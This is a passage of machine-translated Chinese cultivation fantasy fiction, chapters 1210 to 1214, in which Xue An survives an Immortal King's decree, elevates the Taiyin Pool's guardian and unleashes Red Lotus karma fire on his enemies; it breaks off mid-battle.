    Xue An��s words made the complexions of Li Hentian Jun and Ziwei Star Lord a little ugly.


    But soon, Li Hen Tianjun laughed strangely, "Xue An, I really admire you, death is approaching, how dare you be so presumptuous!"


    Ziwei star master said with a gloomy weird smile: "Yes, Xue An, what can the two of us be someone else��s dog? At least better than you, the Chinese who are obsessed with it!"


    Xue An��s smile gradually became cold, and he took a deep look at the scrolls in the hands of the two, and then said lightly: "I really thought it would be possible to hold a so-called fairy king''s decree?"


    "Don''t talk nonsense, you can be proud of being able to die under the decree! Do it!" Star Master Ziwei shouted and threw out the scroll in his hand.


    And Li Hentian Jun also followed closely, throwing out the scroll in his hand.


    When the two scrolls that were divided into two met in the air, there was only a loud bang.


    An unimaginable surging force soared into the sky from this scroll, instantly sweeping the entire world.


    Heaven and earth bowed their heads, and even the laws trembled.


    Time and space seemed to stagnate.


    Then I saw above the sky, a huge phantom was gradually emerging.


    This virtual image is so tall that half of its body already occupies the entire sky.


    The virtual image has a vague face, but is dressed in an ancient imperial attire and a diadem on his head.


    Especially when his eyes are hidden behind a lot of fog overlooking the audience, it makes everyone tremble.


    Because of the strength of the power contained in this virtual image, it has surpassed the imagination of ordinary people.


    is like a **** who controls the law and holds the world in his hands, and is above tens of thousands of people. It makes people just want to worship.


    Under such power, even Li Hen Tianjun and Ziwei Star Lord, all bend down and bow their heads together, not daring to raise their heads.


    Among the audience, Xue An was the only one facing the almost vast and mighty power, standing proudly, looking at the virtual image with cold face, and then coldly said.


    "You finally can''t help it, are you showing your feet?"


    This question caused the phantom to sneer, but did not respond, but slowly raised his hand, pointed at Xue An, and sneered.


    "kill!"


    Boom!


    gave an order, the law refers to.


    A simple and mysterious killing character instantly appeared on Xue An''s head.


    Although there is only one word, ���� seems to cross a boundary, suppressing everything, so that the witnesses just want to kneel and surrender, without the slightest sense of resistance.


    This is the power of pure law, the power of the fairy king.


    Everyone was frightened, Drunk Dream and Yu Blade''s superficial cultivation, they had long been suppressed by the power of this word, unable to raise their heads, they could only tremble on the ground.


    Even Roaring snorted, trying to support himself and barely fall.


    Only Yang Jian was not affected much, but at this moment, he was burned all over, struggling frantically, and then shouted: "Lady, run!"


    But everything is too late.


    Seeing that the void around Xue An��s body began to burst frantically, the violent turbulence of time and space swept in, eroding Xue An��s body madly If that��s all, the key is that this killing Slowly press down.


    Click, click, click.


    The space where the word kills passed was shattering like glass because it couldn''t withstand this powerful pressure.


    But even in the face of this almost terrifying pressure, Xue An''s back was still as straight as a gun, and then he slowly closed his eyes.


    That''s right!


    At this moment, Xue An closed his eyes.


    Immediately afterwards, he saw that his body after being cleansed by the sky fire began to show fine cracks.


    In an instant, the crack suddenly expanded. Then it began to crazily shattered.


    "No!" Yang Jian shook his whole body, let out a loud roar, and then rushed forward frantically.


    But at this moment, golden patterns appeared on the dozen black towers, and the chains that bound Yang Jian suddenly tightened and pulled them back directly.


    Yangjian looked at Xue An''s body a little bit shattered in despair, and felt that his heart had fallen into despair.


    Because this may be the last hope of the Chinese in thousands of years!


    The cruelest thing in the world is to let you see hope and then kill it in front of you.


    Yangji''s mood is like this.


    But everything is not subject to his will.


    The power of the fairy law is so powerful, this killing character directly acts on the law, and it is not mundane power that can compete. .


    in an instant.


    Xue An''s body shattered into pieces and turned into nothing.

 Chapter 1210： Li Hate arrogance knelt down and beg me!

    After Xue An disappeared, the huge virtual image of the fairy king looked around the audience, gave a slight cold snort, and then disappeared.


    Li Hentian Jun and Ziwei Star Lord both took a breath.


    finally died!


    Although it was a bit regretful that Xue An��s soul could not be captured and tortured to find out the secrets of the treasures, the biggest hidden danger was removed, and the two felt that a big rock in their hearts also fell to the ground.


    But just then.


    Screaming sky suddenly wailed, "Mr. Xue!"


    Then he looked at Lihentianjun and Ziwei Star Master with blood red eyes, "I want to fight with you!"


    said, Xiaotian instantly burned his whole body''s cultivation skills, and rushed forward with a decisive posture.


    But with the strength of Xiaotian, Lord Lihentian and Master Ziwei were even too lazy to look at him.


    And when he had just rushed halfway, Ye Liuyan''s figure suddenly appeared in front of him, blocked the way, and then smiled.


    "Wow, are you worthy of doing something with my two fathers? Let me send you to the west!"


    Xiaotian had already burned his eyes red by the killing intent at this moment, and he moved his hand without answering.


    In terms of strength, the combination of this Ziwei **** child and Ye Liuyan is much stronger than Xiaotian.


    But because he had just returned from rebirth, he couldn''t adapt to the feeling of two spirits in a body, so his strength was severely constrained.


    But the sky attacked with hatred, and every move was a life-threatening style of play. Under the situation of one and the other, it was flat. For a time, the two of them could not help each other, and fell into a stalemate.


    At this time, Li Hen Tianjun smiled at Yang Jian, "Guankou Jiro, ten thousand years ago, I had killed all the many young powerful Chinese in your presence, and now I have tasted it again. How does it feel?"


    Yangjian''s complexion was pale, staring at Li Hentianjun, even because of too much force, blood flowed from the corners of his eyes.


    "Li Heng Tianjun, even if there is only one Chinese left, I will destroy you all!"


    "Hahahahaha, what a joke, Yang Jian, have you been detained here for too long and have been confused? Do you think that after this matter is over, I will allow you Chinese to continue to exist?" Li Hen Tianjun grinned and said.


    Yang Jian was taken aback when he heard the words, and then suddenly changed, "You..."


    Li Hentianjun sneered and nodded, "This Xue An is just a warning for us. You Chinese are really terrible. Such a powerful person has appeared in just ten thousand years! So I have ordered the army and waited for the end of this matter. I will personally lead a team to the place where your Chinese clan originated and slaughter all the Chinese clan, leaving none!"


    Yangjian''s complexion instantly turned pale as paper.


    "Hahahahaha! Gumkou Jiro, how about? Are you scared? If you are afraid, please beg me! Please let me spare you Chinese! If you beg me, then I can consider it!" Li Hentian Jun laughed extremely arrogantly.


    Yangji was trembling all over, and his eyes were full of despair.


    He is not afraid of death!


    In fact, to survive this kind of torture for thousands of years, it takes more courage to live than to die.


    Yang Jian can persevere, relying on extremely strong belief.


    Yangjian has always believed that the Chinese will rise again, so he wants to see that day.


    But if things are really as Li Hentianjun said, once the Chinese are completely slaughtered, then their own existence value will be lost.


    Because of losing one''s own race, what is the use even if one is born as a god?


    This kind of thought caused a storm in Yang Jian''s heart.


    Li Hentian Jun naturally saw this too, so he laughed like this.


    But at this moment, I saw two radiances flying up, and then all stood in front of Yang Jian.


    Seeing these two people, Li Hentian Jun��s expression instantly became ugly.


    "Drunk dream, Yu Blade, what are you two **** doing?"


    That''s right!


    flew up, standing in front of Yang Jian, it was Zuimeng and Yu Ren.


    Hearing the question from Li Hentian Jun, the two of them shook all over, but they didn''t flinch at all, instead they stood up with their heads high.


    "Li Heng Tianjun, you kill my lord, this hatred is not shared, my drunk dream and you are incompatible!"


    "Yes!" Yu Ren echoed.


    These statements made by the two of them made Li Hentian Jun angrily.


    You know that Drunk Dream is his second wife!


    As a result, instead of helping himself, he is helping the enemy Xue An.


    In addition to what the old lady Ji Huan did just now, all this made Li Hentian feel that the green light on his head was overflowing, so he could not help but roar.


    "The cheap maid is looking for death!"


    After that, he raised his hand and blasted out.


    Zui Meng and Yu Ren tried to resist, but how could they be Li Hentian Jun��s opponent based on their cultivation bases.


    Under this palm, the two of them snorted together and were shocked to fly far away.


    But the two of them are very tough, and after standing still, they want to rush again.


    But at this moment, Yang Jian suddenly said solemnly: "Stop!"


    The two of them were taken aback, and stopped together.


    Then Yang Jian raised his head and looked at Li Hen Tianjun quietly, "You just said, I beg you, will you let the Chinese make a living?"


    Li Hentian Jun nodded proudly, "Yes! If you kneel down and beg me, maybe I will be kind, and I can leave a root for you Chinese! Otherwise..."


    Before he finished speaking, Yang Jian nodded, "Okay, I promise you!"


    Li Heng Tianjun was startled.


    You must know that he has been imprisoned for masculinity for ten thousand years. During these ten thousand years, he has used countless cruel punishments, but he has not let this masculinity yield even the slightest.


    Unexpectedly, today this masculinity is subdued!


    This can''t help getting Lihentianjun excited, Jiejie smiled strangely: "Okay! Then you can kneel down!"


    Yang Jian took a deep look at Li Hentian Jun, then slowly lowered his head, bending his knees to kneel down.


    Roaring sky was fighting with Ye Liuyan, when he saw this, he let out a mournful cryMaster, no! "


    Following Yang Jian for countless years, he naturally understands how proud his master is.


    It can be said that no matter who he faces, he never lowered his head.


    Therefore, when Xu Tian saw this scene, he couldn''t help but feel sad.


    is the skill of this distraction, Ye Liuyan took advantage of the emptiness, and slammed his fist on Xiaotian''s back, knocking him thousands of feet away, then vomiting blood.


    But even so, he still looked at Yang Jian in despair, and whispered, "Don''t..."


    But everything happened unavoidably.


    Li Hentian looked at him with a smile, and the owner of Ziwei Star was also proud.


    But at this moment, Yang Jian, who was about to kneel on the ground, suddenly felt an invisible force under his knees, firmly supporting himself.


    Then he heard a sigh coming from the void.


    "Senior Erlang, the fate of the Chinese is never implored. Have you forgotten that?"


    As soon as ���� came out, everyone was shocked.


    And Yang Jian was even more struck by lightning, looking up with a horrified face.


    At the same time, I saw a seal seal exuding cold and radiance gradually emerging in the void.


    And under the shining light, Xue An''s figure is gradually condensing.


    in an instant. .


    Xue An''s figure appeared in the field, then looked down at the seal seal on his chest and smiled faintly.


    "I really didn''t expect that at the critical moment, this seal seal of the Taiyin Protoss actually helped a lot!"

 Chapter 1211： Desperate love for me

    Just when Xue An faced the power of the fairy king alone, he was suppressed by his word, causing the golden body to shatter.


    In the distant Amaterasu God Realm, in the four directions.


    Zhong Anan is talking to his master in the Taiyin Temple.


    Now this Taiyin Pond is no longer what it used to be, and both the scale and the aura quality are much stronger than before.


    Mu Guqing has already turned into the **** of Taiyinchi, and he manages this place in an orderly manner.


    Zhong Anan at this moment is very satisfied with his current life.


    After all, my master has come back from the dead.


    Although it is impossible to leave this Taiyin Pool for half a step due to the restrictions of the rules, there will be no life worry, and it can protect the peace of the Taiyin Protoss, and can accompany her more.


    Thinking of this, Zhong Anan suddenly remembered Xue An, and there was an inexplicable feeling in his heart.


    How is he... now? It has been a while since leaving Amaterasu God Realm, is he okay now?


    At this point, Zhong An''an''s expression was a little sad.


    Mu Guqing knew the character of her apprentice very well. Seeing her suddenly lowered her head sadly, her heart moved, and then she understood what was going on, she couldn''t help but sigh.


    "Ann!"


    "Master!"


    "You...but are you thinking of him?"


    Zhong Anan was silent for a moment, then nodded, "Yes!"


    Mu Guqing shook his head, then turned around, came to Zhong An''an, and patted her head gently.


    "Stupid boy, you are good with everything. The only drawback is that you are too persistent. I told you before that people like Mr. Xue are not something people like you and me can look up to! You can get to know him. It is a fluke for him to help! So let''s give up the obsession in my heart!"


    Zhong An''an lowered her head when she heard the words and said nothing, until a moment later, she raised her head and said with tears in her eyes: "Master, I understand what you said, and I dare not have any delusions, but I am just pure. Like him! Is it wrong to like someone?"


    Mu Guqing was speechless, until after a long time, he sighed faintly, "Silly boy, there is nothing wrong with liking someone, but if the person you like is destined not to be together, it will only make you bruised. ! Have you ever thought about this?"


    Zhong Anan shook his head. Although his voice was soft, he said firmly: "Then I will recognize it too!"


    Mu Guqing couldn''t help but laugh bitterly when he saw this, then raised his hand and gently stroked Zhong An''an''s hair, "Silly girl, love is dying, Huiji will hurt! You are like this... make me a teacher very worried!"


    Zhong An''an did not speak, just bowed his head and said nothing.


    The hall fell into silence.


    But when Mu Guqing intends to continue talking.


    Suddenly, she suddenly raised her head, and looked out the window in horror, "What is that?"


    at the same time.


    Zhong An''an, and everyone in the Taiyin Protoss all felt that an extremely tyrannical might suddenly came over the Taiyin Pool.


    This power is so powerful that it makes everyone tremble.


    Especially Mu Guqing, as the **** of this place, the pressure she is under is naturally even greater.


    Not only that, but Mu Guqing also clearly felt that there seemed to be an extremely terrifying power of Xuan Yin in this powerful force.


    This kind of power is the same as the Taiyin Protoss, so it shouldn''t cause such a big reaction.


    The problem is that this power is too strong, and it even made Mu Guqing feel deeply desperate.


    at the same time.


    Just above the Taiyin Pool, an extremely huge vortex was taking shape. The scale was so large that even the entire Quartet universe and the entire Amaterasu God Realm could be seen.


    But no one dared to find out.


    Because all the strong are suppressed by the amount of violent violence contained in this power.


    Some of them are relatively shallow, but people who are closer to the Taiyin Pool are directly pressed on the ground, unable to even get up.


    Just when the entire Amaterasu God Realm was shivering under the envelope of this power.


    There was a cold voice suddenly over the Tai Yin Pond.


    "It''s interesting, but I got here through my natal seal? Okay, that power, even if it''s a gift from me!


    Hearing this voice, Mu Guqing and Zhong An Safety were shocked.


    Because they all knew who this voice was.


    At the same time, in the sky, before the huge vortex, a figure covered in flames gradually emerged.


    Despite the distance, Zhong Anan recognized the person at a glance.


    "Mr. Xue...!" Zhong Anan whispered.


    At this time, I saw Xue An smile at Mu Guqing slightly, "Be prepared for this gift!"


    Mu Guqing shook his whole body, and immediately understood something, nodded solemnly at Xue An, and then spread out, instantly controlling the entire Taiyin Pool.


    At the same time, Xue An looked up at the immortal king who had passed through because of Mu Guqing''s natal seal, and smiled coldly.


    "No matter how you wait to conceal it, this Immortal King''s blow contains a strong cold air, and because of this, you will be attracted by the Tai Yin seal seal that is also Yin Qi! So, then My previous guess is really not wrong!"


    Speaking of this, Xue An suddenly raised his eyes, his eyes rising like a murderous intent, "If it is really done by your people, then when I come to your world and explore the truth, don''t blame me for disregarding the friendship with you in the past. !"


    After that, Xue An slowly raised his hand, pointed in the void, and in a flash drew a mysterious and extremely complex talisman seal.


    Fu Zhuan Yicheng The power of the immortal king who was originally extremely violent suddenly stopped.


    Then Xue An lowered his head and said coldly: "Are you ready?"


    As soon as the voice fell, I saw that the Taiyin Pond had no wind, and then there was a huge wave.


    and Mu Guqing''s voice came from it, "My lord, you are ready!"


    Xue An nodded, then raised his sword eyebrows, grasped the talisman seal, and pressed it down.


    "Give me...hey!"


    Boom!


    After a loud bang, under the guidance of this talisman seal, the huge vortex that engulfed the entire sky blasted down.


    At this moment, the entire Amaterasu God Realm saw a strange scene.


    Just like the sky overturned, a brilliant light descended from the sky, and the goal was directed at the Taiyin Pool.


    "This...Is this a punishment?" Someone trembled in shock.


    At the same time, the water of the Taiyin Pool also came up directly, and the two sides touched each other in the air.


    As soon as they touched, a terrifying shock wave swept away in an instant, and directly swept the entire Quartet universe.


    The huge amount of water in the Taiyin Pool was directly dried by this blow, turned into immeasurable water vapor, and curled up.


    Mu Guqing snorted from the Taiyin Pool.


    And the entire Taiyin Pool was in a huge earthquake, and the island made a loud noise that was overwhelmed, as if it would be dismembered and broken in the next second.


    "Master!" Zhong Anan suddenly understood something and exclaimed. .


    at the same time.


    I heard Xue An burst out, "Heaven and earth are for me, change the day!"

 Chapter 1212： Lunar Hua Wang fought alone

    gave an order.


    The violent energy instantly became docile, but even so, the power was still terrifying, and then rushed down wildly.


    Boom!


    With the infusion of energy, the lunar pool, which had evaporated half of the lake water, instantly overflowed, but this was just the beginning.


    Then, the whole Tai Yin Pond began to change drastically.


    The area of ??���� expanded dramatically, and the pool water began to deepen crazily, and even this small island in the lake grew crazily at a speed visible to the naked eye.


    Zhong Anan and all the Taiyin people stared blankly, they could clearly feel that the surrounding environment was undergoing profound changes.


    Especially the aura contained in the air is growing at a crazy rate.


    Just a few breaths, it is already rich enough to be visible to the naked eye.


    At the same time, the size of the entire Taiyin Pool has expanded more than a hundred times.


    But even so, I still can''t stop the pace of expansion.


    At this moment, Taiyinchi is like a fat man suffering from bulimia, eating frantically, and the weight is so fat that he can''t stop.


    At this time, Xue An yelled coldly: "Start to condense, otherwise you will burst into death!"


    asked, and then Mu Guqing''s painful voice came from the Taiyin Pool, "Yes!"


    She can also feel the crisis she is facing.


    The energy that came because of this was too huge. If Xue An hadn''t converted it through Fu Zhuan, she might have been directly exploded long ago.


    But if you continue to expand indefinitely, you will explode and die because of the rapid growth in volume.


    So the only way right now is to give everything and condense yourself!


    At the same time, Mu Guqing also understood that this is not only a crisis, but also a great opportunity.


    Because if it weren''t for Xue An''s help, this power wouldn''t be something that one could meddle in at all. If you rely on yourself, you might not be able to cultivate into such a field for a lifetime.


    So she gritted her teeth at this moment and began to force her body together.


    bang bang bang!


    This is the sound of Mu Guqing''s soul exploding because he can''t control this powerful force.


    Every time, people will feel the pain of annihilation, which is enough to make ordinary people go crazy directly.


    Ke Mu Guqing endured it. Not only did she endure it, she was even more crazy.


    is another continuous explosion, but with this sound, the expansion speed of the Taiyin Pool has slowed down significantly.


    The quality of the entire pool began to rise sharply, becoming more condensed and pure.


    Just like that, after a full hour.


    The huge vortex that entangled the entire sky finally disappeared.


    Looking at the Taiyin Pond again, it has completely changed its appearance.


    The pond is shining like ice, with a vast area, and the incomparably abundant Xuan Yin aura rises up, and even creates various illusions in the air.


    All the Taiyin people looked stupid, because the changes in the surrounding environment can be described as changing days and days.


    Only Zhong An''an didn''t pay attention to this at all. She just quietly looked at the figure standing above the sky, her eyes were surrounded by the radiance of the mysterious atmosphere around her, and she didn''t know what she was thinking.


    At the same time, I saw the lake in the Taiyin Pool trembling, and then the emanating Profound Yin Qi quickly condensed, and the figure of Mu Guqing instantly turned into a metamorphosis.


    It''s just that Mu Guqing is different from before.


    I saw that she was wearing a crown and a gorgeous robe. She was awe-inspiring, like a goddess stepping out of the waves, and she was afraid to look directly at her.


    And when she was standing above the water, a thousand rays of glow fell in the sky, lingering around her.


    All the strong gods and spirits of the entire Amaterasu God Realm were shocked, and then looked towards the direction of the Taiyin God Race in amazement.


    They can feel that a powerful **** is on the throne.


    Mu Guqing, at this moment finally became the king of Taiyin.


    But at this moment, Mu Guqing didn��t care about this. When the light dissipated, she took a few steps forward respectfully, bowing and saluting, ��Mu Guqing of the Lunar God Race, thank you for the opportunity!��


    This move of her naturally caused the whole Lunar Protoss to bow and salute.


    Xue An just smiled at this, and then waved his hand, "You don''t have to thank me, this is what you deserve. After all, this natal seal was also given to me before leaving. As a result, by coincidence, it was actually sent. It''s useful!"


    Mu Guqing heard this, his face changed slightly.


    She is not a fool. Naturally, it can be seen that the blow just now is definitely not something an ordinary strong man can issue, it is probably the legendary fairy king strong.


    And Xue An actually attracted such a blow. Doesn''t it mean that the opponent he faces is extremely powerful?


    Thinking of this, Mu Guqing''s heart sank, and then said respectfully: "My lord, the Taiyin Protoss has repeatedly received your great favor. If you need it this time, our family will have nothing to say, and I will definitely help you! Look... ...."


    Xue An smiled and waved his hand, "Okay, I know what you want to say, I take your thoughts, but other things are unnecessary, because the enemies I face, you can''t help!"


    "But isn''t it too dangerous for you to fight alone like this? How about you rest here for a while?" Zhong An''an, who was silent, suddenly stepped forward and said anxiously.


    She could see that Xue An, who was enveloped in flames, was a little erratic, obviously injured.


    Xue An took a deep look at Zhong An''an after hearing the words, and then smiled faintly, "Lao Zhong girl has bothered, but there is no need to rest, because there is a lot of fun over there! I have to go back!"


    After that, Xue An turned around and left.


    "But..." Zhong Anan took a few steps forward and wanted to say something, but it was too late.


    I saw Xue An turned into a streamer, penetrating the space barrier in a moment, and disappearing into this world.


    Looking at the empty sky again, Zhong An''an stood there blankly, tears shining in his eyes, and his face was full of sadness and worry.


    Mu Guqing didn''t know when to appear next to her, then patted her on the shoulder lightly, and sighed.


    "An''an, now you know why I want to persuade you! Even the adults'' opponents are existences that we can''t imagine, and you can imagine how amazing his origins are! So your waiting may be just a self-movement That''s vain!"


    Zhong An''an smiled sadly, swept the temples scattered around his ears, but did not respond to Mu Guqing''s words, but turned and left silently.


    Mu Guqing was taken aback for a while, then looked at the thin back of his apprentice, shook his head, and sighed.


    "What a silly girl!"


    After successfully advancing to the half-step Da Luo, Xue An''s strength has increased more than ten times. .


    But this is only one aspect. More importantly, Xue An finally has the ability to travel through the void at will.


    Because Da Luo means that he can walk between the heavens by himself, and he has a body that is almost immortal, so there is a common saying about Da Luo who can not be killed in the heavens.

 Chapter 1213： Golden body and severely injured

    If the fairy king is the ticket to the strongest, then Daluo is equivalent to finally stepping out of the house and being able to see the outside world.


    Of course, Xue An is just a half-step big Luo, and it stands to reason that he does not have such a powerful shuttle ability.


    But Xue An, as the Immortal Venerable in his previous life, had an endless stream of mysteries. In addition, Li Hentian and Amaterasu God Realm belong to the same God Realm, and it was much less difficult to shuttle, so he almost returned to Li Hentian within a few seconds.


    Then he encountered the scene where Li Heng Tianjun forced Yang Jian to kneel and beg for mercy. Then he spoke to stop him, and then he appeared.


    When I saw Xue An, Drunken Dreams and Xiaotian were all rejoiced.


    Especially Roaring Sky, ecstatic, shouted: "Mr. Xue!"


    While Li Hentian Jun and Ziwei Star Master stared at Xue An with stunned faces, until after a while, Li Hentian Jun, as if seeing a ghost, quaked and shouted: "Xue An, you are not dead. ?"


    Xue An smiled, "Of course not dead, why? Are you disappointed?"


    Li Hentian Jun stared at Xue An, the brilliance in his eyes flickered, and the expression on his face changed even more.


    He really can��t understand, even if Xue An��s previous life is so powerful, he is now only a half-step big Luo, but he can escape with the full blow of the Immortal King��s decree, which is simply incredible.


    Could it be that as he said, he has the means left over from his previous life?


    Li Heng Tianjun was in shock and doubt.


    But at this moment, the Ziwei Star Master on the side suddenly said: "No, he is already injured! And it is a very serious injury!"


    Hearing this, Li Hentian Jun was taken aback, and then looked up.


    Not only him, everyone in the audience also followed Xue An.


    Is Mr. Xue really hurt? Xiaotian''s heart tightened for it.


    As expected.


    When I took a closer look, everyone found that even though Xue An was still as straight as a sword at this moment, he was proud of the wind.


    But his aura was a bit erratic, and the brilliance in his eyes became very dim.


    And at this time Xue An actually smiled, "Yes, I just got hurt!"


    At this time, everyone was shocked.


    Xiaotian and the others changed their colors.


    Li Hentian Jun and Star Lord Ziwei looked at each other, then laughed together.


    The laughter is full of joy.


    Then Li Hentian Jun said gloomily: "Xue An, it is a fluke that you can escape under the edict of the Immortal King. I didn''t expect that you didn''t want to escape, so you dare to come back. It''s really a snare. Take the initiative to find death!"


    Xue An looked at Li Heng Tianjun with a smug face, showing white teeth, and smiled sensibly, "Listening to what you mean, it seems that I''m going to kill me?"


    "Of course! With the surname Xue, you have to be clear about your current position. You are not the original Red Lotus Immortal Venerable, and we are not ordinary mortals. What''s more, you are seriously injured now. I don''t believe you can shake the sky. No!" Li Hen Tianjun said with a smug expression.


    Xue looked at Li Hen Tianjun quietly, and then smiled.


    "Very well, since you think so, then I will use this to destroy the golden body today and kill you!"


    "Stop talking nonsense with him, destroy his body first!" The owner of the purple star on the side could no longer hold it back, so he moved his hand directly.


    In his opinion, Xue An is now at the time when his strength is most declining, just taking advantage of the present to kill him to avoid future troubles!


    Therefore, when he started, he was a powerful killer.


    But seeing the starlight, he went straight to Xue An.


    boom!


    Xue An didn''t dodge, he raised his hand and shook the star master Ziwei with a punch.


    After a loud noise, the stars dissipated.


    But Xue An''s body involuntarily stepped back a few steps, and then a long and narrow crack appeared on his arm, and a stream of red blood slowly slipped down the crack.


    one strike!


    Xue An was injured again!


    This time, the audience was shocked.


    Ziwei Star Lord Jiejie laughed strangely, "At the end of the crossbow, dare to be so arrogant, Xue An, you really are bluffing, disengaging from hate, let''s do it together, kill him first!"


    Li Heng Tianjun was also ready for a long time, and said with a grinning smile after hearing this: "It''s easy to say! Today I will sacrifice him to heaven!"


    Following the voice, but seeing the two of them all started together, they killed Xue An.


    This time, the brilliance shrouded, and the loud noise shook the sky.


    Everyone is dazzled.


    But soon, Xiaotian was the first to regain consciousness, and exclaimed, "Mr. Xue!"


    Then he rushed up desperately.


    "Hehe, don''t worry, your opponent is me. As for your Mr. Xue, he is going to die soon!" Ye Liuyan slammed and stopped the way.


    Xiaotian has red eyes, no nonsense, he will fight directly with Ye Liuyan.


    However, his strength is still somewhat different from that of Ye Liuyan. Before, Ye Liuyan had just been reborn, and he still couldn''t master his own strength. Now after a period of training, his strength has improved a lot, so this time In the battle, Xiaotian quickly fell into a disadvantage.


    But at this moment, after hearing only two soft chicks, Zui Meng and Yu Ren also rushed over and joined the battle group directly.


    The three of them joined forces, and it was a mediocre battle with Ye Liuyan.


    But Xiaotian was anxious, because he knew very well that if he delayed here for a while, Xue An''s danger would increase by one point.


    But the strength lies here, he just wanted to rush up, but he couldn''t do it.


    At the moment when the five inner parts were all burned in the screaming rush, after only hearing a loud noise, the three Huaguang suddenly separated.


    Li Hentian Jun and Ziwei Star Master stood in place, all panting.


    Xue An, who was shocked thousands of feet away, looked even more miserable at this moment.


    I saw that his chest, abdomen, and arms were covered with fine cracks, like a broken porcelain doll, in danger of breaking at any time.


    The blood kept permeating along these cracks, and soon dyed Xue An''s body into a bright red.


    This should be regarded as the worst injury Xue An has suffered since his rebirth, and he faced an unprecedented predicament.


    Seeing this scene, the audience instantly became silent.


    Xiaotian and Drunken Dream stopped the attack in their hands, staring blankly, their faces were full of despair.


    In their opinion, Xue An, who has suffered such a serious injury, obviously has no more power to fight.


    And this also means that from the beginning to the present, all the efforts have been lost.


    How can this not make them feel desperate.


    Yang Jian was also quietly looking at Xue An, a look of intolerance flashed in his eyes.


    Because he knows that this outstanding Chinese descendant has done well enough, because he has tried his best.


    But fortune is so, Yang Jian can only smile wryly, then shook his head sadly.


    Maybe... the disaster of the Chinese is not over yet! !


    At this moment.


    I saw Star Master Ziwei licking his lips, and said playfully: "Xue An, you still have time to surrender, otherwise you will rely on your current injury, as long as we join forces to strike again, you will be broken!"

 Chapter 1214： I refine the red lotus with my blood, and the fire of karma reappears...

    "That''s right! If you surrender obediently now, the two of us may still give you a chance to survive!" Li Hen Tianjun also said on the side.


    It''s just that when they said this, the killing intent in their eyes did not fade at all.


    In fact, this is basically the trick of the two of them, in order to defeat Xue An''s confidence in this way, it is best to let his fighting spirit be depressed, so that it will be easier for them to do it.


    This is also a heart attack tactic often used among the strong.


    But the two of them never expected that in the face of their questioning, Xue An''s face still didn''t show the slightest fright, but instead smiled faintly, and then gently licked his **** lips.


    "Surrender? Are you two talking about yourself?"


    These words made the two of Li Hen Tianjun startled, and then looked at each other, and both saw the doubt in each other''s eyes.


    Then Li Hentianjun smiled slyly, "Xue An, has your head been beaten and confused? Actually let us surrender? Have you seen the situation before you clearly?"


    Xue An ignored Lihentianjun��s words, but turned to look at Yang Jian and smiled slightly, "Senior Erlang, do you think I can kill both of them?"


    Yang Jian was shocked all over, then smiled bitterly and shook his head, "I don''t know!"


    Xue An chuckled happily, then casually raised his blood-stained fingers, and pointed at Lihentianjun and Ziweixingzhu, "Today the new accounts and old accounts are calculated together. You two, you both must die!" "


    Li Hentian Jun and Ziwei Star Master were taken aback for a moment, and then they grinned.


    But their laughter just came out, and then they couldn''t laugh again.


    Because at this moment, Xue An took a deep breath abruptly, a bright light suddenly ignited in his eyes, and then he whispered.


    "I use my blood to make red lotus!"


    Boom!


    gave an order.


    The blood rushing out of Xue An��s wound was instantly separated, and gathered in Xue An��s eyebrows, forming a ball of blood.


    The blood cell oscillated endlessly, as if something was going to burst out of it.


    suddenly.


    Seeing Guanghua disperse, the blood cell suddenly stagnated, and then burst open, revealing a blood-colored lotus flower in bud.


    The whole body of this lotus flower seems to be carved with flawless blood crystals, beautiful enough to make people dazzling.


    But after seeing this blood-colored lotus flower, the old gods, Li Hen Tianjun and Ziwei Star Master, were all trembling, and their faces were instantly covered with shock.


    "Red...Red Lotus is here? No, this...it''s impossible!" Li Hentianjun''s legs have begun to weaken.


    And the star lord of Ziwei was even more trembling, staring at the lotus flower in horror, already speechless.


    The reason why the two of them were so alarmed was because they thought of a legend at the same time.


    A legend about red lotus.


    When Xue An was born in the sky and prestige countless star domains, there were a few great Void Gods who were so dissatisfied with him that they joined hands and set a death-death situation against Xue An.


    This time, several Void Gods sects sent the most elite forces, led by several ancient veterans, in order to completely eradicate Xue An.


    This battle directly destroyed most of the star field, but everyone no longer knew what the process was.


    Because all those who participated in the war have died.


    Only Xue An walked out of the battlefield unscathed.


    And when he left, several people from the Great Sect hurriedly rushed in, only to find that in the destroyed star field, there were already blossoming red lotus.


    As for those who died in battle, they have all turned into nothingness.


    After this battle, several Void God cults declined.


    The name of the Red Lotus Immortal Sovereign shook the Quartet, making countless people bow their heads in awe.


    So at this moment.


    When they saw this red lotus, they couldn''t help but shudder at it.


    Xue An smiled, "So you all know it!"


    Li Heng Tianjun gritted his teeth abruptly and roared angrily: "What if it is Red Lotus? You are not the Immortal Venerable back then! I don''t believe you can really kill me and I can''t wait!"


    After that, Li Hentian Jun took an angry shot.


    As soon as he did his hand, Star Master Ziwei also snorted coldly, then urged his whole body to cultivate, and followed him with a dead hand.


    The two and a half steps of the immortal king''s strong incarnation turned into Huaguang, with the supreme might, and directed towards Xue An.


    Under these powers, the red lotus in front of Xue An looked very thin, as if it would be shattered by the power of this stormy sea at any time.


    But when Li Hentianjun and Ziwei Star Lord have rushed to the front, seeing Huaguang is about to reach the body.


    But seeing the lotus trembling slightly, then the flower branch swings and blooms slowly.


    At this moment when the flowers bloom, everything in the world, and even the never-ending time has stopped.


    Everything is as if someone had pressed the stop button.


    The violent air flow stopped, and the fluttering hair could not move.


    Everything is stagnating at this moment.


    You can even clearly see the attack that was stagnated in mid-air by Li Hentian and Star Lord Ziwei who rushed to the front, as well as the shock and fear in their eyes.


    But this is just the beginning. Then, I saw the red lotus trembling slightly, and then it was divided into two, and then it was divided into four...


    Honglian began to increase at an exponential rate, that is, at this moment, there was a light bang, and everything that had been paused returned to normal.


    The air flow flew out violently The hairband was fluttering.


    But the attacks of Li Hen Tianjun and Ziwei Star Lord could not continue.


    Because at that moment, all their attacks were occupied by Guren.


    The two of them shook their bodies, then turned around and ran without hesitation.


    They know very well that they can''t kill Xue An now.


    Because Xue An, who has turned on the Red Lotus mode, is invincible!


    But at this moment, the layers of red lotus already occupied the entire sky.


    Seeing this scene, the two screamed in despair, and then began to flee frantically.


    But under this endless red lotus, all their struggles are in vain.


    Seeing Xue An standing in front of the sea of ??flowers, looking down at the two rays of light that fled hurriedly, he smiled slightly, and then waved his hand gently.


    Boom!


    The red lotus all over the sky shook together at this moment, and then suddenly a raging flame rose up.


    But seeing the flames soaring into the sky, the red lotus in the sky melted the flames at this moment.


    The owner of Ziwei Star, who had already escaped a long way, let out a desperate cry, "Red Lotus Karma!"


    The voice just fell, but seeing the overturning of the karma, he swallowed it directly.


    It''s not just him.


